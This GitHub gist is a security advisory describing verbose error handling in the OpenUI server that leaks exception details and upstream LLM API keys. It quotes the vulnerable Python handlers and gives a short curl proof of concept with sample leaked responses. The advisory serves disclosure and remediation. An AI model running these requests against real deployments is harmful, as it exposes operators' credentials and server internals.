Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save YLChen-007/8c6ff147186855e4b716e7526de213e1 to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/8c6ff147186855e4b716e7526de213e1 to your computer and use it in GitHub Desktop.
Verbose Error Messages Leak Server Internals and Upstream API Keys to Authenticated Users

Advisory Details

Title: Verbose Error Messages Leak Server Internals and Upstream API Keys to Authenticated Users

Description:

Summary

The global exception handler in server.py returns raw Python exception strings directly to the client in JSON error responses. By sending a crafted request to /v1/chat/completions, an authenticated user can extract internal server details such as Python object structures, filesystem paths, database schema information, and upstream LLM provider API keys. In local deployment mode (the default Docker configuration), session creation is automatic, making this exploitable by any network-adjacent attacker.

Details

When an unhandled exception occurs during request processing, it bubbles up to the global generic_exception_handler registered at backend/openui/server.py line 265. This handler formats the raw exception object directly into the HTTP response using an f-string:

@app.exception_handler(Exception)
async def generic_exception_handler(request: Request, exc: Exception):
    logger.exception("Server Error: %s", exc)
    return JSONResponse(
        status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
        content=jsonable_encoder(
            {
                "error": {
                    "code": "internal_error",
                    "message": f"Internal Server Error: {exc}",  # raw exception embedded
                }
            }
        ),
    )

The simplest trigger is omitting the model field from the request body. The routing logic at line 134 calls data.get("model").startswith("gpt"), which raises AttributeError: 'NoneType' object has no attribute 'startswith'. This exception is not caught by any specific handler, so it reaches the generic handler and the full error string is returned to the caller.

A second variant exists at lines 209-215 where APIStatusError.message from the upstream LLM SDK is forwarded verbatim. When an upstream provider rejects the configured API key, the full error body (including the key value) is relayed back to the requesting user:

except (ResponseError, APIStatusError) as e:
    msg = str(e)
    if hasattr(e, "message"):
        msg = e.message
    raise HTTPException(status_code=e.status_code, detail=msg)

Two additional occurrences exist: the OAuth callback handler (line 355-358) sets raw exception strings as browser cookies, and the Ollama streaming handler (ollama.py line 96-99) yields raw exceptions over SSE.

PoC

  1. Start an OpenUI instance (e.g., via Docker with the default local configuration).

  2. Obtain a session cookie (auto-issued in local mode):

curl -s -c /tmp/cookies.txt http://localhost:7878/v1/session
  1. Trigger internal error disclosure by omitting the model field:
curl -s -b /tmp/cookies.txt -X POST http://localhost:7878/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{"messages": [{"role": "user", "content": "test"}]}'
  1. Trigger upstream API key disclosure by requesting a model whose upstream key is misconfigured:
curl -s -b /tmp/cookies.txt -X POST http://localhost:7878/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "test"}]}'

Log of Evidence

# Step 3 — Internal error details leaked
$ curl -s -b /tmp/cookies.txt -X POST http://localhost:7878/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{"messages": [{"role": "user", "content": "test"}]}'

{
    "error": {
        "code": "internal_error",
        "message": "Internal Server Error: 'NoneType' object has no attribute 'startswith'"
    }
}

# Step 4 — Upstream API key leaked
$ curl -s -b /tmp/cookies.txt -X POST http://localhost:7878/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "test"}]}'

{
    "error": {
        "code": "api_error",
        "message": "Error code: 401 - {'error': {'message': 'Incorrect API key provided: xxx. You can find your API key at https://platform.openai.com/account/api-keys.', 'type': 'invalid_request_error', 'param': None, 'code': 'invalid_api_key'}}"
    }
}

Impact

  • Information Disclosure: Internal Python exception types, module paths, and code structure are exposed to any authenticated user. In local/Docker mode, authentication is automatic.
  • Credential Exposure: When an upstream LLM provider (OpenAI, Groq, or a custom endpoint) rejects the configured API key, the error response containing the key value (fully or partially masked depending on the provider) is forwarded to the requesting user. Custom or self-hosted providers may return the full key unmasked.
  • Reconnaissance Aid: Leaked filesystem paths, database file locations, and Python package versions give attackers a detailed map of the server's internal structure for further exploitation.

Affected products

  • Ecosystem: python / pip
  • Package name: wandb/openui
  • Affected versions: <= latest (Commit f9d8f0e)
  • Patched versions:

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (5.3 Medium)

Weaknesses

  • CWE: CWE-209: Generation of Error Message Containing Sensitive Information
  • CWE: CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Occurrences

Permalink Description
https://github.com/wandb/openui/blob/f9d8f0e/backend/openui/server.py#L265-L278 The generic_exception_handler that formats raw {exc} into the JSON response body via f-string.
https://github.com/wandb/openui/blob/f9d8f0e/backend/openui/server.py#L209-L215 The APIStatusError catch block that forwards e.message (containing upstream provider error body with API key info) directly to the client.
https://github.com/wandb/openui/blob/f9d8f0e/backend/openui/server.py#L355-L358 The OAuth callback error handler that sets raw str(e) as a browser cookie value.
https://github.com/wandb/openui/blob/f9d8f0e/backend/openui/ollama.py#L96-L99 The Ollama streaming handler that yields raw exception strings over SSE.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment